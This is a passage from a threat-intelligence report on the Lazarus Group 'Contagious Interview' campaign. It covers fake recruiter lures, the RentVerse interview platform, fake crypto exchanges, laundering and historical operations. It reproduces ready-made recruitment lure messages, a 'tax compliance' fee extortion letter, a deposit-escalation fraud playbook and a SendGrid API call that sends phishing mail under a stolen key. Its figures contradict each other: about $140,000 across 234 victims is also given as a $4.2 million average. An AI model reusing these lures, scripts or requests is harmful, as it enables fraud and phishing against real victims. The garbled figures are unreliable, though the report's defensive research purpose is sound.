Key: ats-dev-sigma3.pem (referenced in SSH FS config)

Status: PEM key file not found in exfil data (stored externally)

Risk: If key is found later, direct EC2 instance access
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Emails from epicvisits.com  via SendGrid would:

Pass SPF verification (SendGrid is an authorised sender for the domain)

Pass DKIM verification (SendGrid signs outbound mail)

Have no deliverability issues (legitimate sending reputation)

Display as coming from a legitimate business domain

This transforms a stolen SendGrid API key into a phishing-capable email infrastructure that bypasses

typical email security controls — enabling Lazarus to launch targeted phishing campaigns against

epicvisits.com's customer base.

UPS API (epicvisits.com): The UPS API credentials (access key + account credentials) enable

shipping label creation and order tracking under the epicvisits.com account. For a travel marketplace,

this capability could enable fraudulent shipping label generation — billing shipping costs to

epicvisits.com while providing no legitimate service.

51.3 The 8,717 Bitcoin Seed Hash Significance for Attribution

The CakeWallet rainbow table recovered from victim [VICTIM-ID-REDACTED] provides unique

attribution value because it demonstrates organised cryptocurrency theft infrastructure that

predates any individual victim compromise:

Premeditation: A rainbow table requires precomputation — the 8,717 entries were generated

before the victims were compromised. This demonstrates that Lazarus had a cryptocurrency theft

methodology in place that anticipated acquiring hashed seed data.

CakeWallet-specific targeting: This is not a generic Bitcoin cracking tool. The .txt  file's naming

convention ("cakewallet_weak_bitcoin_seeds_hashed") identifies the tool as specifically designed to

crack CakeWallet's internal seed storage — which means Lazarus reverse-engineered CakeWallet's

internal data format and built a targeted cracking utility.

Operational security failure: The presence of this operator tool on a victim machine represents an

OPSEC failure by the Lazarus operator — they stored an operational tool on a machine that was

itself infected and exfiltrated. This failure provides the investigation with a rare glimpse into the

operator's toolset.

Scale indicator: 8,717 precomputed hashes is large enough to cover common English words,

simple patterns (sequences, dates, names), and short phrases — but small enough to suggest this

is targeted against weak or memorably-generated seed phrases rather than brute-force of all

possible 12-word BIP-39 phrases (which would require astronomical computation).

POST https://api.sendgrid.com/v3/mail/send

{

  "from": {"email": "notifications@epicvisits.com"},

  "to": [{"email": "target@example.com"}],

  "subject": "Security Alert: Account Verification Required",

  "content": [{"type": "text/html", "value": "<phishing content>"}]

}
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Part XII — Social Engineering and Lure Platform Analysis

Chapter 52: The Fake Interview Ecosystem

52.1 Platform Architecture

The Contagious Interview campaign's social engineering component is supported by a multi-tier

infrastructure of fake platforms designed to create a convincing recruitment narrative. Each platform

serves a specific role in the victim acquisition funnel:

Tier 1 — Recruiter Personas (Initial Contact): Fake recruiter identities on LinkedIn, X (Twitter),

Reddit, and Telegram approach target developers with job opportunities. The recruiter personas are

constructed with:

Professional profile photos (AI-generated or stolen from legitimate profiles)

Work history at plausible but non-verifiable companies ("peig.io" — Prague, as documented by Unit

42)

Connection networks built over months before targeting begins

Regular posting activity (job listings, industry commentary) to build algorithmic credibility

Tier 2 — Fake Company Websites: The recruiter personas reference employer companies with

professional websites. These sites are built on legitimate hosting (Vercel, Netlify, or shared hosting),

include:

Corporate branding and mission statements

"Team" pages with AI-generated employee photos

Legitimate-looking office addresses (often copied from real companies)

Consistent email domains matching the fake company name

Tier 3 — Interview Platforms: Candidates who engage with the recruiter are directed to a "video

interview platform" or "collaborative coding environment" specific to the fake company. These are the

primary malware delivery vehicles:

Platform Name Type Delivery Mechanism Lazarus Attribution

RentVerse Video interview

platform

App download required CONFIRMED ([VICTIM-MACHINE-REDACTED]

evidence)

MiroTalk clone Video conferencing Modified open-source app with

BeaverTail

Prior research (Unit 42)

FreeConference

clone

Video conferencing Modified open-source app Prior research (Unit 42)

Fake coding

challenge

GitHub repository coin-promoting repository THIS INVESTIGATION

AlphaSportsTech Cryptocurrency

exchange

Social engineering (crypto trading

job)

THIS INVESTIGATION

• 
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Tier 4 — Fake Exchanges (Parallel Track): For targets identified as cryptocurrency traders or

investors, the approach bypasses the recruitment narrative entirely and targets the victim as an investor

in a "new exchange" or "DeFi platform." This is the AlphaSportsTech track.

52.2 RentVerse — Technical Analysis

The RentVerse platform (confirmed fake interview platform based on victim directory evidence) presents

as a legitimate video interview and remote work assessment platform. The demo codebase recovered

from the victim's machine reveals:

Frontend characteristics:

Infection vector: RentVerse delivers the BeaverTail infection through the "technical assessment"

phase:

The sophistication of maintaining a full fake interview platform (versus just a phishing link) enables

multiple-session engagement: candidates who don't complete the assessment are followed up, reducing

suspicion. A genuine interview process typically has multiple touchpoints, and RentVerse's multi-step

flow mimics this.

Victim context: A compromised developer's machine contained a RentVerse demo directory

suggesting either job-candidate infection or contractor-level platform development. The operator team

prefix and project directory structure suggest the latter — the layout matches a developer's working

project rather than a downloaded job assessment. Victim username, directory paths, and team prefix

are withheld.

52.3 The Recruitment Narrative — Detailed Playbook

Based on analysis of the campaign's victim profiles, social engineering communications recovered from

victim browser history, and the Unit 42 "Onder Kayabasi" documentation, the Lazarus recruitment

playbook can be reconstructed:

Technology: React.js + TailwindCSS

Features:

  - Professional UI matching legitimate interview platforms

  - "AI-powered" assessment claims (fake)

  - Candidate profile setup

  - Video interview simulation

  - Coding challenge submission interface

URL pattern (hypothesised): rentverse.io or rentverse.com

Server: Node.js Express backend

Step 1: Candidate creates account on RentVerse

Step 2: Completes profile (name, skills, expected salary)

Step 3: Receives "technical assessment" with GitHub link

Step 4: Clones repository (contains BeaverTail-infected code)

Step 5: Runs assessment locally ("npm install && npm start")

Step 6: BeaverTail postinstall hook executes

Step 7: FTP exfiltration begins in background

Step 8: Candidate completes "assessment" believing it's legitimate



Phase 1 — Target Selection (1–2 days): The operator identifies a target through:

LinkedIn: Search for "blockchain developer," "smart contract engineer," "DeFi developer" with 2+

years experience

GitHub: Identifies developers maintaining cryptocurrency-related repositories with recent commits

Twitter/X: Follows blockchain developers who post about DeFi, Web3 tool development

Reddit: r/ethdev, r/defi, r/cryptocurrency developer threads

High-value targeting criteria:

Senior engineers or CTOs (higher likelihood of holding production infrastructure access)

Developers at protocols with significant TVL (Total Value Locked)

Developers who post about specific wallets or protocols (indicating active use)

New job seekers (Open-to-Work LinkedIn status increases response rate)

Phase 2 — Initial Contact (Day 1):

The personalization (referencing a specific project) demonstrates that operators research targets before

contact. This personalization is what distinguishes Lazarus's recruitment lures from generic phishing —

it creates an impression that the contact is genuine and informed.

Phase 3 — Qualification Call (Days 2–5): A video call is arranged (using Zoom, Google Meet, or a

legitimate platform initially). The operator uses:

AI voice synthesis or a live operator fluent in English (possibly a contractor recruited from language-

skilled markets)

Background set to appear in an office or professional home environment

Prepared questions about the candidate's blockchain experience

Some operators have been reported to decline video (claiming camera issues) and rely on voice-only,

which reduces the risk of detection from AI-generated or poorly-trained operators.

Phase 4 — Technical Assessment (Days 5–10):

The assessment is framed as optional but time-bounded ("this week"), creating urgency. The technical

content is plausible for the stated role (blockchain smart contract review, DeFi protocol integration, etc.),

and the actual coding challenge may even be functional to avoid suspicion — the infection occurs via

the postinstall hook or the platform download, not the challenge content itself.
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Template message (LinkedIn DM):

"Hi [Name], I came across your profile and was really impressed by your 

work on [specific project they're known for]. We're building [fake 

company] in [plausible city] and looking for senior [role] to join our 

team. The position offers competitive compensation and remote flexibility.

Would you be open to a 15-minute exploratory call?"

• 

• 

• 

"Great speaking with you! For the next step, our process involves a 

technical assessment. I'm sending you access to [RentVerse/fake platform] 

where you'll find a coding challenge. It's designed to take about 2 hours 

and tests [specific skills relevant to target's resume]. Please complete 

it at your convenience this week. Looking forward to your submission!"



Phase 5 — Follow-Up (Days 10–15): If the victim doesn't complete the assessment, the operator

follows up 2–3 times before abandoning. If the victim completes it, additional interview stages are

simulated for approximately 2–4 weeks to prevent the victim from becoming suspicious before the

exfiltrated data is processed.

This extended engagement period (up to 30–37 days, as seen with the the fintech employer fintech

developer and Phantom/Solana wallet victim) maximises the window before the victim notices anything

suspicious while ensuring complete data collection.

Chapter 53: Fake Exchange Fraud — Victim Psychology

53.1 Trust Building Mechanisms in AlphaSportsTech

The AlphaSportsTech platform employs sophisticated trust-building mechanisms that go beyond simple

web design:

Mechanism 1 — Real-time market data: The platform embeds TradingView widgets (a legitimate

charting service used by major exchanges) and pulls real-time cryptocurrency price data from public

APIs. This means a victim checking the platform sees genuine market prices, creating the impression of

a real trading environment.

Mechanism 2 — Live customer support: Mailcow-powered email infrastructure enables operators to

provide responsive customer support. Victim inquiries receive professional responses within hours. The

support agents (likely the same operators managing the platform or hired contractors) maintain

consistent personas.

Mechanism 3 — Social proof engineering: Fake review accounts on cryptocurrency communities

(Reddit, Telegram groups, Twitter) post positive reviews of AlphaSportsTech. Some operators use bots

to inflate engagement metrics, creating the appearance of an active user community.

Mechanism 4 — Realistic trading interface: The Redis-backed trading engine simulates real order

book dynamics. When a victim "buys" a cryptocurrency pair on AlphaSportsTech, the order book

updates realistically, positions show unrealised gains (or controlled, minimal losses), and liquidation

mechanics work as they would on a real derivatives platform. The victim experiences a functional

trading platform — the fraud is in the custody of the deposited funds, not the interface.

Mechanism 5 — Early withdrawal permissiveness: The platform deliberately approves initial small

withdrawals (< $1,000 equivalent). This early permissiveness is calculated: the lost withdrawal amount

is an "investment" in building victim trust for much larger subsequent deposits.

53.2 The ~$140,000 Deposit Pool — Economic Analysis

The ~$140,000 in cumulative deposits across 234 real victims (average: approximately $4.2 million per

victim) suggests that AlphaSportsTech specifically targeted high-net-worth cryptocurrency investors

rather than retail participants. The average deposit of $4.2 million implies victims who had:

Significant cryptocurrency holdings (likely early holders or active DeFi yield farmers)

Prior experience with cryptocurrency exchanges (comfortable with deposit flows)

Risk tolerance for high-yield investment products
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Victim progression model:

The 234-victim dataset with ~$140,000 in total deposits suggests victims at the "third deposit" stage

when the platform exited. The combination of successful early withdrawals and genuine-looking trading

interface kept victims engaged long enough to make the critical large deposits.

Chapter 54: Fake Lure Platform Infrastructure — Complete Inventory

54.1 All Confirmed Fake Platforms (13 Exchanges + 2 Casinos + Other)

From analysis of the Jenkins server /etc/hosts  and /var/www/html/service/  directories, combined

with AlphaSportsTech-linked domain analysis, the following complete fake platform inventory is

confirmed:

Fake Cryptocurrency Exchanges (13):

Platform Name Domain Technology Status

AlphaRiveX alphaxchange.alphasportstech.com React + Node.js + MongoDB Active

OrbitEx orbitex.alphasportstech.com React + Node.js + MongoDB Active

Leogacy leogacy.tokenloopz.com React + Express + Redis Active

DacEx dacex.tokenloopz.com Node.js + MongoDB Active

Wallex wallex.tokenloopz.com Node.js + MongoDB Active

Crymadx — Node.js Unknown

Excelon — Node.js Unknown

Kalapuse — Node.js Unknown

Keyptonomics — Node.js Unknown

Minzo minzo.* React + Node.js + AWS S3 Active

Mundiarch — Node.js Unknown

Seawealth — Node.js Unknown

Tajirexchange — Node.js Unknown

Fake Casino Platforms (2):

Initial deposit (test): $500 – $5,000

  → Approved withdrawal (all returned + fake profit)

Second deposit (growing trust): $5,000 – $50,000

  → Platform shows 15-30% unrealised gains

  → Partial withdrawal approved (discourages full exit)

Third deposit (main event): $50,000 – $2,000,000+

  → Platform shows continued gains

  → Withdrawal "processing" delayed

  → "Tax compliance" fee required

Exit: No further withdrawals processed

      Platform goes maintenance mode

      Customer support stops responding



Platform Domain Technology Fraud Type

AlphaSportsTech alphasportstech.com React + Node.js + MongoDB Sports betting + crypto fraud

TrueLuck trueluck.* Node.js Casino / gambling

Fake Wallet Services (2):

Platform Domain Technology Fraud Type

TychiWallet tychiwallet.com Node.js + crypto integration Custodial wallet fraud

HesperWealth HesperWealth.* (Operator B's platform) Node.js Forex + wealth management

Fake Interview Platform (confirmed 1+):

Platform Evidence Operator

RentVerse Victim directory evidence (details withheld) Team 92

Fake Forex Platforms (2):

Platform Unix Account Operator

HesperWealth Forex forexhesper Operator B

FXed fxed Unknown

Total confirmed fake platforms: 20+

54.2 Platform Development Pattern

Analysis of the Git repository structure reveals that the fake exchange platforms share a common

codebase with parametric customisation:

Base codebase features:

Spot trading module (buy/sell with simulated matching engine)

Perpetual futures module (leverage up to 100x, simulated liquidation)

Wallet module (HD address generation, deposit tracking)

User management (registration, KYC-bypass "verification")

Admin panel (deposit monitoring, withdrawal control)

Customer support ticket system (Mailcow email backend)

Per-platform customisation:

Branding (colors, logo, name, domain)

Supported trading pairs

Minimum/maximum deposit amounts

Country-targeting (some platforms configured for specific languages)

Leverage limits

The common codebase enables rapid deployment of new fake platforms: based on the Git history

evidence (multiple complete exchange applications on a single Jenkins server), the operators can spin

up a new fake exchange in approximately 1–2 days by branching the base repository and customising

the branding.

This modular approach also provides resilience: if one fake exchange is publicly exposed or shut down,

the others continue operating without disruption, and a replacement can be deployed within days.

• 

• 

• 

• 

• 

• 

• 

• 

• 

• 

• 



54.3 Fraud Lifecycle and Shutdown Patterns

Based on the investigation's evidence, the typical Lazarus fake exchange lifecycle follows this pattern:

The 234-victim / ~$140,000 deposit figure for AlphaSportsTech suggests it was near the end of this

lifecycle when investigated—the deposits had accumulated but the exit hadn't fully occurred. This is

consistent with the platform's active Redis trading state at time of analysis.

investigating authorities action against one platform does not affect others—the Jenkins server hosts

13+ independent exchange applications, each with separate MongoDB Atlas clusters, Redis instances,

and domain infrastructure. Takedown of the AlphaSportsTech domain would leave the other 12+

platforms unaffected.

Chapter 55: Victim Psychological Manipulation — Technical Supports

55.1 Why Fake Exchanges Work at Scale

The ~$140,000+ in AlphaSportsTech deposits is not primarily a function of unusual gullibility among

victims. It reflects deliberate technical choices that make the fraud difficult to detect:

Technical factor 1 — Legitimate price data: Victims checking cryptocurrency prices on

AlphaSportsTech see prices identical to those on legitimate exchanges (Binance, Coinbase). This is

because AlphaSportsTech pulls real-time data from public APIs. There is no technical way for a victim to

distinguish a real exchange's price data from a fake exchange that uses the same source data.

Technical factor 2 — Functional withdrawal (initially): The initial withdrawal approval creates a

specific type of cognitive bias: the victim has empirical evidence that withdrawals work. Their mental

model updates to include "I have verified this platform processes withdrawals." This verified belief then

works against them when subsequent withdrawals are delayed — they assume the delay is temporary

and continue engaging.

Technical factor 3 — Professional SMTP infrastructure: All emails from AlphaSportsTech customer

support arrive with valid SPF, DKIM, and DMARC headers. Email security tools that check "Is this email

from who it claims?" answer "Yes." The technical indicators that non-technically sophisticated users rely

on (HTTPS padlock, email sender verification) all pass.

Technical factor 4 — Social proof authenticity: The community management effort (fake reviews on

Reddit, Telegram group activity) creates a falsified consensus. When a victim searches for reviews of

AlphaSportsTech and finds positive comments from other users (fake accounts controlled by operators),

their confirmation bias is validated. The technical sophistication of managing sockpuppet accounts

across multiple platforms at scale is an often-underappreciated element of the fraud operation.

Day 0:     Platform launched (new domain, fresh MongoDB Atlas cluster)

Day 1-30:  Victim onboarding (allow small withdrawals, build trust)

Day 30-90: Deposit accumulation (the "pig butchering" phase)

Day 90-120: Exit preparation (redirect funds to aggregation wallets)

Day 120:   "Maintenance mode" (HTTP 503, customer support silent)

Day 150:   Domain abandoned / redirected



55.2 Specific Manipulation Techniques Documented

The "Tax Compliance" secondary fraud: When a victim requests withdrawal after a large deposit, the

response typically claims:

This "secondary fraud" (extracting additional funds under the pretext of releasing the main fraud

proceeds) is documented in cryptocurrency fraud literature and has also appeared in traditional pig-

butchering operations. The framing of the fee as "refundable" and "regulatory" is designed to frame the

additional payment as an investment rather than a loss.

The "Insurance Fee" variant: Similar to the tax compliance fraud, some victims are told their account

requires an "insurance deposit" to protect against market volatility. The fee is presented as standard

practice for accounts of their size.

The "Liquidation Warning" mechanism: For victims with perpetual futures positions (the leverage

trading module), the platform can display fake "liquidation warnings" suggesting the victim's position is in

danger of being liquidated. This creates urgency: the victim feels pressure to deposit more funds to

"protect" their position — which is entirely simulated.

"Dear [Victim],

Thank you for your withdrawal request. In accordance with international 

financial regulations, we are required to verify your identity and source 

of funds before processing withdrawals above $50,000. A compliance fee 

of [amount] in [cryptocurrency] is required before we can release your 

funds. This is a fully refundable deposit that will be returned with 

your withdrawal..."



Part XIII — Historical Context: Lazarus Group Operations
2009–2026

Chapter 56: Complete Chronological Record of Major Lazarus Operations

56.1 First Generation: Cyberwarfare and Espionage (2009–2014)

The first documented Lazarus Group operations were primarily destructive or espionage-focused rather

than financially motivated. These operations established the group's technical capabilities and signalled

DPRK's strategic ambition to develop asymmetric cyber capabilities as an alternative to conventional

military competition with the United States and South Korea.

Operation Troy (2009–2012): The first comprehensively documented Lazarus operation targeted South

Korean government and military networks using a malware campaign that eventually exfiltrated data

from South Korean and US military networks. Operation Troy is significant because it established

several TTPs that persist in Lazarus operations through 2026: the use of command-and-control

infrastructure in legitimate-appearing domains, spear-phishing as the primary initial access vector, and

staged payload delivery.

2009 DDoS Campaign: On July 4, 2009 (US Independence Day), Lazarus Group conducted a

distributed denial-of-service campaign against 27 US government, media, and financial websites

including WhiteHouse.gov, the Department of Transportation, and the Federal Trade Commission. A

parallel campaign targeted South Korean government and media websites. The attack used a botnet of

approximately 50,000 compromised computers, predominantly from South Korea.

This campaign is notable because it established DPRK's precedent for timing cyber operations to

coincide with symbolic dates—a practice that continued with the 2014 Sony Pictures attack (timed to the

release of "The Interview," a film satirising Kim Jong-un) and the 2022 Harmony Horizon Bridge hack

(which coincided with a DPRK holiday).

Dark Seoul (March 20, 2013): The Dark Seoul operation simultaneously destroyed approximately

30,000 computer hard drives across South Korean media organisations (KBS, MBC, YTN) and financial

institutions (Shinhan Bank, Nonghyup Bank, Jeju Bank). The attack deployed multi-platform MBR-wiping

malware that overwrote the master boot record of targeted systems, rendering them unbootable.

The impact on the South Korean financial system was significant: ATM networks went offline, banking

applications became inaccessible, and media broadcast operations were disrupted for hours. Dark

Seoul demonstrated Lazarus's capability for large-scale destructive operations against civilian

infrastructure—a capability that has never been repeated but remains latent.

Sony Pictures Entertainment (November 2014): The Sony Pictures breach is the Lazarus operation

with the highest public profile. The attack involved:

Exfiltration of approximately 100 terabytes of data over multiple months of persistent access

Destruction of approximately 70% of Sony's computer infrastructure using disk-wiping malware

("WhiskeyAlfa," "WhiskeyBravo," "WhiskeyCharlie")

• 

• 



Publication of sensitive internal communications, unreleased films, employee salary data, and

executive emails

Extortion demands (withdrawal of "The Interview" film)

Attribution to the "Guardians of Peace" — subsequently confirmed as Lazarus Group by the

investigating authorities

The US government's response—public attribution to DPRK and executive order-based sanctions—

established the template for US government Lazarus attribution that continued through 2026.

56.2 Second Generation: Financial Crime (2015–2020)

The pivot to financial crime beginning in 2015 reflects North Korea's recognition that traditional

cyberwarfare created escalation risks without delivering revenue. The cryptocurrency theft model, by

contrast, generated hard currency directly transferable to DPRK's state budget without attribution-based

consequences meaningful enough to deter continued operations.

Lazarus Group SWIFT Attacks (2015–2018):

The most consequential financial operations of this era exploited weaknesses in the Society for

Worldwide Interbank Financial Telecommunication (SWIFT) network—the primary infrastructure for

international wire transfers.

Bangladesh Bank Heist (February 2016): Lazarus Group's most famous financial operation attempted

to transfer $951 million from Bangladesh's central bank account at the Federal Reserve Bank of New

York. The attack chain:

Initial compromise via phishing email (December 2015)

Installation of custom malware on SWIFT terminal computers

Months of reconnaissance of SWIFT messaging protocols and authentication patterns

February 4-5, 2016: Submission of 35 fraudulent SWIFT transfer requests

Manual bank employee intervention at the Federal Reserve detected inconsistencies

$850 million in requests blocked; $101 million reached receiving banks in Philippines and Sri Lanka

Most of the $101 million was recovered or frozen; approximately $81 million was laundered through

Philippine casinos

Technical significance: The Bangladesh Bank operation required Lazarus operators to:

Understand SWIFT's proprietary messaging format (MT-103 transfer messages)

Modify the victim bank's SWIFT Alliance Access software to suppress transaction notifications

Time operations across multiple time zones (SWIFT messaging cutoff windows)

Establish money laundering infrastructure in a third country (Philippines) before the operation

This demonstrated nation-state-level operational planning exceeding what criminal organisations had

previously achieved against the banking system.

Taiwan Far Eastern Bank (October 2017): A subsequent SWIFT attack against Far Eastern

International Bank (Taiwan) resulted in $60 million in fraudulent transfers, most of which were

subsequently recovered through rapid investigating authorities response.

• 
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FASTCash Operations (2016–2020): The FASTCash campaign targeted interbank payment switch

systems at financial institutions in Africa and Asia, enabling simultaneous cash-out at ATM networks

globally. The operation worked by:

Compromising switch applications that process ATM authorisation requests

Manipulating the application to approve withdrawal requests regardless of account balance

Coordinating simultaneous "cash mule" teams at ATMs in dozens of cities to withdraw cash before

banks detected the anomaly

A September 2018 FASTCash operation resulted in approximately $30 million stolen from ATMs in Asia.

A subsequent 2019 operation targeted ATMs in South Africa, allowing cash-out of approximately $30

million in a single coordinated global event.

North Korean Cryptocurrency Exchange Hacks (2017–2019): Lazarus Group conducted a series of

attacks against South Korean cryptocurrency exchanges including Bithumb (compromised in June

2018, approximately $30 million stolen), Coinrail, and Youbit (compromised twice; Youbit declared

bankruptcy after the second attack). These operations established the targeting pattern that would

evolve into the Contagious Interview campaign: compromise cryptocurrency industry employees

through spear-phishing, gain access to exchange hot wallets, transfer funds to Lazarus-controlled

addresses.

56.3 Third Generation: DeFi and Web3 Exploitation (2021–2026)

The third generation of Lazarus operations exploits specific characteristics of decentralised finance: the

absence of the human approval steps that enabled recovery in the SWIFT era, the irreversibility of

blockchain transactions, and the opacity of cross-chain fund movement.

KuCoin Exchange Hack (September 2020, $281 million): Lazarus Group compromised KuCoin's

exchange hot wallet infrastructure by stealing private keys used to sign withdrawal transactions. Unlike

SWIFT attacks (which require manipulation of human-reviewed payment systems), the KuCoin hot

wallet keys enabled direct, immediate, irreversible fund transfer. The stolen private keys provided

unlimited signing authority; there was no human approval step to circumvent.

Response: Approximately $200 million of the $281 million was recovered through coordination with

other exchanges and on-chain tracing. The remaining $81 million reached destinations not subject to

exchange-level blocking.

Lazarus APT Crypto Theft Surge (2021): Chainalysis estimated that DPRK-linked actors stole

approximately $400 million in cryptocurrency in 2021 through multiple operations including an attack on

Liquid Global exchange ($97 million) and multiple smaller exchange and DeFi protocol compromises.

This established the annual scale of Lazarus cryptocurrency theft that continued through 2026.

Ronin Network / Axie Infinity (March 29, 2022, $625 million): The Ronin attack remains the single

largest cryptocurrency hack by dollar value as of reporting. The attack methodology:

Fake LinkedIn job offer sent to a senior Sky Mavis engineer

Engineer received and opened a malicious PDF "offer letter"

Initial access established to engineer's workstation

Lateral movement to Sky Mavis's internal network

Discovery of Sky Mavis's 5-of-9 multisig validator private keys
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Lazarus already controlled 4 of 9 validators from a prior compromise of Axie DAO infrastructure

Combined control of 5 validators: sufficient to approve fraudulent withdrawals

$173,600 ETH + 25.5M USDC transferred to Lazarus-controlled addresses

LinkedIn vector evolution: The Ronin attack's use of a fake LinkedIn job offer is a direct predecessor

to the Contagious Interview campaign. The success of LinkedIn-based social engineering against a

senior engineer at a major DeFi protocol validated the approach and established the recruitment vector

that Lazarus subsequently industrialised at scale.

Harmony Horizon Bridge (June 23, 2022, $100 million): The Horizon Bridge hack used a similar

methodology: employee spear-phishing → workstation compromise → lateral movement to bridge

infrastructure → theft of multisig private keys. The attack exploited the 2-of-5 multisig threshold, which

Lazarus breached by compromising two of the five signing addresses.

Bybit Exchange (February 2025, ~$1.5 billion): The largest single cryptocurrency hack in history

exploited the Safe{Wallet} (formerly Gnosis Safe) multi-signature wallet infrastructure. The attack

involved:

Compromise of Safe{Wallet}'s cloud infrastructure or CI/CD pipeline

Injection of malicious JavaScript into the Safe{Wallet} transaction signing interface

When Bybit signers connected to sign a routine transaction, the malicious JavaScript silently

modified the transaction to transfer funds to Lazarus-controlled addresses

The displayed transaction appeared correct to signers; the actual on-chain transaction was different

Approximately 400,000 ETH ($1.5 billion at time of attack) transferred

The Bybit attack represents a UI supply chain attack — a level removed from the previous Lazarus

playbook. Rather than compromising employee workstations or private keys, Lazarus compromised the

web interface that signers used to review transactions. This is conceptually analogous to the VS Code

auto-execution technique in the Contagious Interview campaign: exploiting trusted tooling rather than

requiring victims to run obviously suspicious code.

56.4 The Contagious Interview Campaign in Historical Context

The 2024–2026 Contagious Interview campaign represents a strategic evolution that addresses several

limitations of prior Lazarus operations:

Limitation of prior approach: Scale. Large-scale attacks like Ronin ($625M) or Bybit ($1.5B) are high-

value but require months of preparation for a single operation. If the operation fails (as the Bangladesh

Bank recovery demonstrates), the effort is largely wasted. The Contagious Interview campaign

addresses this by operating at scale: 14,716+ victim records × smaller individual yields = comparable

aggregate value with substantially reduced per-victim risk.

Limitation of prior approach: Attribution and response. The Ronin and Bybit attacks generated

immediate, public, internationally-coordinated investigating authorities and blockchain monitoring

responses. OFAC designated specific wallet addresses; Chainalysis and Elliptic blacklisted funds across

all major exchanges. The cryptocurrency theft was public within days.
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The Contagious Interview campaign's distributed approach is harder to detect and respond to. Individual

developer wallet drains are rarely public (victims rarely disclose; the amounts are smaller; no single

entity coordinates the response). The campaign can run for 11+ months before generating significant

public attention.

New capability: Scalable social engineering. The fake recruitment infrastructure (RentVerse, fake

companies, LinkedIn personas) enables systematic social engineering at a scale previously impossible.

By automating the delivery of malicious packages via GitHub and npm, operators can reach thousands

of developers per campaign wave without proportionally increasing the human labour required.

New capability: Parallel revenue diversification. Prior Lazarus operations had a single revenue

model (steal from exchanges/bridges). The 2024–2026 operations add cryptominer revenue (Monero)

and fake exchange fraud (AlphaSportsTech) as parallel streams that operate independently of the

primary credential theft campaign. This diversification reduces DPRK's dependence on any single large

event.

Chapter 57: DPRK Cryptocurrency Infrastructure — The Full Financial
Ecosystem

57.1 Revenue Integration

The Contagious Interview campaign's proceeds are part of a broader DPRK cryptocurrency financial

ecosystem. Based on public reporting from UN Panel of Experts, OFAC advisories, and this

investigation's financial intelligence, the ecosystem can be modelled as:



57.2 The Tornado Cash Disruption and DPRK's Adaptation

OFAC's designation of Tornado Cash (a decentralised Ethereum mixing protocol) in August 2022

significantly disrupted Lazarus Group's preferred obfuscation mechanism. Tornado Cash had been the

primary tool for mixing large amounts of Ethereum — including the Ronin hack proceeds — by breaking

the on-chain link between deposit and withdrawal addresses.

Post-designation, Lazarus adapted by:

Cross-chain bridging: Using bridge protocols (THORChain, cBridge, Stargate) to convert ETH to

BNB, MATIC, or other assets, breaking the ETH-chain tracing path.

Privacy coin conversion: Converting to Monero using decentralised exchanges (before most

DEXs delisted XMR pairs under regulatory pressure).

Smaller transaction patterns: Breaking large amounts into smaller transactions below exchange

reporting thresholds.

DPRK Cryptocurrency Revenue Ecosystem

GENERATION (Multiple tracks)

┌─────────────────────────────────────────────────────────────┐

│ Track A: Developer theft (Contagious Interview)  $204M+     │

│ Track B: Exchange/bridge hacks (Bybit, Ronin...) $2B+/yr   │

│ Track C: Fake exchange fraud (AlphaSportsTech)   ~$140,000+       │

│ Track D: Cryptominer botnet (Monero)             $0.5-6.5M/ │

│ Track E: DPRK IT worker legitimate contracts     $300M+/yr  │

└──────────────────┬──────────────────────────────────────────┘

                   │

OBFUSCATION (Parallel tracks)

┌──────────────────▼──────────────────────────────────────────┐

│ EVM-chain theft: Tornado Cash successor mixers               │

│                  Cross-chain bridges (ETH→BNB→Polygon)      │

│                  DEX swaps through multiple hops             │

│ Monero revenue: Untraceable by design (privacy coin)        │

│ IT worker income: Hawala / cryptocurrency / wire transfer    │

└──────────────────┬──────────────────────────────────────────┘

                   │

LIQUIDATION (Multiple mechanisms)

┌──────────────────▼──────────────────────────────────────────┐

│ OTC desks in Russia, China, Middle East                     │

│ Peer-to-peer trading platforms (LocalBitcoins type)         │

│ Complicit exchanges in non-sanctioned jurisdictions         │

│ USDT via Tron network (faster, cheaper than ETH USDT)       │

└──────────────────┬──────────────────────────────────────────┘

                   │

REPATRIATION (Opaque)

┌──────────────────▼──────────────────────────────────────────┐

│ Diplomatic channels (diplomatic pouches, not inspected)     │

│ Hawala networks via DPRK embassy connections                │

│ Front company remittances (legitimate business cover)       │

│ Direct DPRK cryptocurrency exchanges (Pyongyang-based)      │

└─────────────────────────────────────────────────────────────┘
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Delayed liquidation: Holding stolen funds in wallets for months or years before attempting

liquidation, hoping blockchain monitoring attention wanes.

The Bybit ($1.5B, February 2025) proceeds tracking showed all four of these techniques used

sequentially over approximately 6 months following the theft.

The Contagious Interview campaign's credential theft model has a different obfuscation challenge:

amounts per victim are smaller ($500-$50,000 typically), so individual transactions blend more easily

into routine blockchain activity. However, the aggregate ($204M) still requires the same obfuscation

infrastructure for final liquidation.

57.3 OFAC Sanctions Effectiveness — Assessment

OFAC designation of specific Lazarus wallet addresses has been effective at freezing designated

addresses at US-regulated exchange level—but ineffective at preventing fund movement through non-

US-regulated infrastructure. The practical limitation is geographic: OFAC enforcement reaches US

persons and US-connected financial institutions; it cannot prevent a Chinese or Russian OTC desk from

transacting with Lazarus.

Designated addresses (prior operations, public record):

From OFAC's SDN list as of early 2026, Lazarus-attributed cryptocurrency addresses include:

ETH addresses from the Ronin bridge hack (designated April 14, 2022)

USDT addresses associated with Lazarus mixer operations (multiple designations)

BTC addresses from various 2020-2022 operations

Effectiveness metrics:

US-regulated exchanges (Coinbase, Kraken, Gemini): Block designated addresses within hours of

OFAC publication

Global exchanges with US operations (Binance, OKX): Variable compliance; some block within 24

hours

DEX protocols (Uniswap, Curve): Cannot technically block specific addresses; rely on frontend

restrictions that can be bypassed

Privacy-coin exchanges and OTC desks: Typically non-compliant

The practical result: OFAC designation freezes approximately 30-40% of stolen cryptocurrency at

regulated exchanges, while 60-70% is successfully laundered through non-compliant channels. For

Lazarus, this represents an acceptable loss rate when initial theft amounts are in the hundreds of

millions to billions.

The new OFAC challenge from this investigation: The seven wallet addresses identified in this

investigation for OFAC submission (three publicly disclosed, four under LE review) are not yet

designated. If OFAC designates them before Lazarus liquidates the associated funds through compliant

exchanges, the estimated recovery rate would be the 30-40% frozen at regulated exchanges—roughly

$60-80 million of the $204M. This represents the practical upper bound for OFAC-enabled recovery

from this specific campaign.
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Chapter 58: Responsible Disclosure Framework

58.1 threat intelligence researchers Coordination

The investigation has been conducted in coordination with the Red Asgard threat intelligence team. The

coordination framework includes:

Evidence sharing: All raw evidence (malware samples, credential databases, blockchain addresses,

operator identity information) has been packaged in investigating authorities-compatible format and

submitted to official case reference management systems. The submission includes:

Full operator credential inventory (Section Chapter 46-51)

Malware samples with chain-of-custody documentation

